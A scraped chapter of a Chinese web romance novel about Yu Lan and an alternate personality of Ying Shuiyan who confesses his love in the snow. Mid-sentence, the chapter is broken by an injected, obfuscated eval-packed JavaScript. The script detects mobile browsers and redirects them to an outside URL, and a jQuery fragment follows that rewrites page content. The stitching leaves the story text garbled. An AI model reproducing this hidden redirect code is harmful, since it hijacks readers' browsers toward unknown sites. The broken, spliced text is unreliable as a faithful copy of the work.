47. 时间

作品:《欲罢不能的他

    於蓝兀地反应过来,她冲电话说道:“林书,我在。”


    眼前是被雪花掩盖的,有些失真的应水砚,雪块在地面上凝结,又被应水砚踩出一个又一个脚印来。


    耳边是清晰的,在说话的林书——於蓝转过身,对电话那头林书说:“帮我订一张回江沪的机票。尽快。”


    林书回了声好。


    於蓝没有迟疑,匆匆挂了电话,却忽地感觉手腕一紧,她怒不可遏地喊了一声:“应水砚!”


    应水砚:“……”


    一阵沉默之后,於蓝感觉手腕一松,应水砚就这么放下了手,视线却没有看她。


    或许,他也不敢。


    於蓝站直身子,把一截头发撩到耳后,这才在昏暗的灯光之中看见应水砚低垂的、微微颤动的眼睛。


    呼——


    於蓝缓缓吐出一口气。


    “对不起,我太想见你了。”应水砚拧着眉,继续说:“我不知道你去哪了。我……我,我不开心。”


    应水砚说:“可你明明不是知道吗……”


    应水砚越说越乱,於蓝扶着额头,她反问道:“我知道什么?我应该知道什么?”


    “……知道,我喜欢你这件事情。”


    应水砚这句话说得格外认真。


    於蓝不由得嘴唇发颤,说:“所以,你就找了我身边的人问了我的情况?应水砚,你能做吗?”


    “不能做。”


    於蓝余光一瞥,应水砚还站在屋檐外,雪给他的衣服粘上了白白的一层,她不忍直视地把应水砚往里拉。


    然后,她就听到应水砚来了这么一句:“不欢迎我吗?”


    “欢迎,欢迎。我应该举个旗子随身携带,你来了就说,欢迎您来,欢迎您再来。行了吗?”


    於蓝这敷衍的语气终归没有逃离应水砚的法耳,他摇摇头,撇着嘴说:“不好。”


    於蓝心领神会,一片雪花落在应水砚的发顶,又转瞬即逝,於蓝抬起头,突然问:“他们没有对你做什么吧?”


    “……我听不懂你在说什么呢。”


    应水砚朝着於蓝的头埋得更低了。


    於蓝却看着他捂嘴笑了一声,说:“你总是这样,面对应水砚和何泛秋就凶巴巴的。对我,怎么就显得像个小狗似的?”


    “呵。”


    应水砚抬起眼睛,目光中划过一丝狠戾,但若是像於蓝的姿势一般,从下往上看,就能看到他挥之不去的一抹无措。


    “应水砚”撇过脸,“你明明一开始就认出我了,为什么没有揭穿我。你还……”


    “我还怎么样?你们不都是应水砚吗。”於蓝语气上扬。


    “应水砚”不信,他说:“如果你真的把我当应水砚,又为什么……”他顿了顿,看着於蓝投来的目光,他决定什么不说了。


    於蓝却还沉浸在上一个话题里,她嘴角挂着一抹笑,说:“你们很好认啊。”


    “一个唱红脸,一个唱黑脸。”於蓝说完,自己也乐了,“一个巴不得我永远不理他,一个死气白赖地求我理他。我问你,如果是你,你认得出来吗?”


    於蓝眉毛一挑,其实真正的原因她还没说。


    真正的应水砚常年一张笑脸,属于皮笑肉也笑的类型。


    但眼前这位……明显生闷气的这位,眉毛眼睛耷拉着,一脸阴翳,若现在出门左转对个路人微笑都是能被吓跑的程度。


    就这,於蓝能认不出来吗?


    於蓝抱着臂,“很难说猜不出吧。应水砚……不对,我应该叫你什么呢?总是叫你应水砚,我会分不清的。”


    “应水砚”:“你取什么都好。”


    “行啊,那叫你应火砚。”於蓝说。


    杵着一动不动的“应水砚”:“……?”


    於蓝说:“你们俩不是水火不容吗?正好一个水,一个火……呃,不行吗?”


    应火砚点头,“行。你说什么都行。”


    於蓝点头,这是心满意足了。可法吉港越到深夜温度降得越快,於蓝裹紧自己的大衣,只想快速结束话题回酒店,她看着应火砚,说:“你还没告诉我呢。”


    应火砚不知道她说的话:“什么?”


    一阵风忽然吹过来,把於蓝刚才整理好的头发吹乱了,她好不容易把头发整理好,就看见应火砚不知何时站在了自己的身前。


    就是这个位置,他挡住了全部的风口,


    於蓝:“……你。”


    应火砚却好像什么都没发生似的,“你想问什么?”


    於蓝瞬间感觉自己大脑空白,连刚才想好的话都忘了一大半,想起来的时候一句:“对不起。”


    “对不起。”她轻轻地又说了一声。


    应火砚扯了扯嘴角,他站得离於蓝更近了,“无论你做了什么,我都不想你跟我道歉。”


    “……”


    於蓝又是一愣,也是这下愣,让她终于想到了要说什么:“应水砚和何泛秋,他们给你吃药了吗?”


    “之前,何泛秋找我说,想让你消失。但我……”


    应火砚了然,於蓝这么一副兴师动众的样子了。原来是因为……她很抱歉。


    “不是给我吃,是他吃了药。”应火砚皱着他那双好看的眉,对着於蓝,他头一次展现了脆弱,“为什么他就可以随意抹杀他的人格,而我只是对他做了点什么,就要被你们集体围剿……於蓝,我好痛。你能心疼一下我吗?”


    应水砚的语气皱皱巴巴,像一团被反复揉开的纸。听上去委屈极了,“我也好痛啊。”


    於蓝抓着他的手,“对不起,对不起。因为……之前,在我心里,我没有觉得你和应水砚是一样的人。我只是觉得……”


    “我知道,我知道。”


    应火砚流着泪,他把手放在於蓝手的旁边,看到她轻轻点头,才郑重地握住她的手,扶上他的胸口。


    应火砚说:“你不用为我难过的。我本来,就是向你而生的。”


    於蓝:“……什么?”


    “……我追求你、向你求婚、为我们布置新房,这一桩桩一件件,我不信你没有动心,可为什么我是待在应水砚的躯壳里……为什么我要看着应水砚拆穿这一切,却无能为力。”


    於蓝震惊地看着他,她顷刻间明白了应火砚要说什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083505|190551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么,但她说不出口,只是一个劲的摇头。


    应火砚并没有决定停止。


    他说:“於蓝,为什么你还不明白,我是向你而生的。应水砚的任何事情,从来都不是我来到这里的原因……”


    於蓝说:“不可能,人格的形成一定是因为主人格遭受了前所未有的伤害,不可能,你……”


    “除了一些注定无法完成的事,没有什么,是一定不可能的。无论如何,我都有回来的理由——因为你在这里!”


    ……因为你,在这里。


    应火砚带着於蓝的手,让她捧上自己的脸,眼泪从他的眼睛里流到了她的掌心。


    “为了你,我可以不在乎应水砚。你可以不要在乎那些伦理道德,哪怕我和你在一起,于他和你又有什么关系呢……”


    啪!


    於蓝坚决地抽开手,在他的胸膛狠狠打了一下,她流着泪说:“你知道你在说什么吗?!”


    应火砚跪下来。


    “我当然知道!可我既然爱上了你,我又有什么办法,我这颗心爱上了你,我有什么办法让它停止跳动?你告诉我,你教教我,我到底要怎么克服——”


    “我请求你……!”


    “我请求你!”


    应水砚痛苦地抓住於蓝的衣角,狠心地在手背盖上一吻——


    “对不起,但真的,真的……我,只有你了。”


    顷刻间,泪如雨下。


    於蓝停止了她剧烈的挣扎,任由应火砚抓着她,可法吉港太小,容纳不了应火砚的泪水。整个法吉港都在下雪。


    雪积累了一定的厚度,应火砚这响声又实在是惊天动地,惹了附近观看的路人。夸达一声,於蓝只听到轰隆的一响,雪就砸了他们两人满头。


    应火砚:“……”


    於蓝:“……”


    不知道是谁先笑出来的,或许是应火砚,也或许是於蓝,可后来,却是於蓝开口的。


    “很早以前,我没有想过我一定会爱上谁,也没有想过我会喜欢你。”於蓝叹了口气,“可这件事情,是没有逻辑的。”


    於蓝说:“不一定你对我做了什么,我才喜欢上你。也不一定我对你做了什么,我就是喜欢你。”她摇了摇头,“本来就是毫无逻辑的。就像,你的出现。”


    “可我有一件事情要告诉你,”於蓝郑重地开口了,“我不知道从哪一刻开始,但我现在能够确认,我实实在在的把你当成了应水砚,你就是他,但我不希望是你离开我才能看懂这份感情。”


    於蓝说:“所以你似乎理解错了什么。我并没有答应何泛秋。”


    应火砚的声音夹杂着一丝期许,“你……真的没有?”


    “我没有。”於蓝肯定地说。


    他反复揉着他的胸口,仿佛那里打开就是炽热的心脏,於蓝说:“对不起,他们给你吃了药,是我没有阻止他们。”


    “你不想我死吗?”


    “我都不想。”於蓝说。


    於蓝说:“我不知道从什么时候开始,我觉得……你和应水砚,都是重要的人。但是……”


    “我需要时间,好好考虑。”